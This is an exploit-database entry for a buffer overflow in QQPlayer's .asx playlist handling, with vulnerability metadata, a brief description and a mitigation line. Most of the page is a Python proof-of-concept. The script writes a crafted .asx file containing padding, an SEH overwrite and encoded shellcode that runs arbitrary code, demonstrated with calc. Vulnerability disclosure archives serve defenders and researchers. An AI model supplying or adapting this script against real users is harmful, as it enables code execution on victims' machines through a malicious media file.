header-logo
Suggest Exploit
vendor:
QQPlayer
by:
Li Qingshan
7,8
CVSS
HIGH
Buffer Overflow
120
CWE
Product Name: QQPlayer
Affected Version From: QQPlayer <=2.3.696.400p1
Affected Version To: QQPlayer <=2.3.696.400p1
Patch Exists: YES
Related CWE: N/A
CPE: a:tencent:qqplayer
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XPSP3 Chinese Simplified
2009

QQPlayer asx File Processing Buffer Overflow Exploit

QQPlayer is vulnerable to a buffer overflow when processing specially crafted .asx files. An attacker can exploit this vulnerability by sending a malicious .asx file to the victim, which when opened, will cause a buffer overflow and execute arbitrary code on the victim's machine. The vulnerability affects QQPlayer versions <=2.3.696.400p1 and is triggered when a specially crafted .asx file is opened. The payload used in this exploit is calc.

Mitigation:

Upgrade to the latest version of QQPlayer.
Source

Exploit-DB raw data:

#################################################################
#
# Title: QQPlayer asx File Processing Buffer Overflow Exploit
# Author: Li Qingshan of Information Security Engineering Center,School of Software and Microelectronics,Peking University
# Vendor: www.qq.com
# Platform: Windows XPSP3 Chinese Simplified
# Test: QQPlayer 2.3.696.400
# Vulnerable: QQPlayer<=2.3.696.400p1
# Payload = calc
#
#################################################################
# Code :

head ='''<ASX version="3.0">
<Entry>
<REF HREF="mms://site.com/ach/music/smpl/LACA-05928-002-tes_'''
junk = "A" * 1975  #English XP SP3 users, try 1984 bytes instead
nseh ="\x42\x61\x21\x61"
seh  ="\xa9\x9e\x41\x00"
adjust="\x30\x83\xc0\x0c"
shellcode=("PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV"
           "QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL"
           "KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9"
           "QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW"
           "TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R"
           "HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA")
junk_="R"*8000
foot ='''_playlis.wma"/>
</Entry>
</ASX>'''
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open("poc.asx","w")
fobj.write(payload)
fobj.close()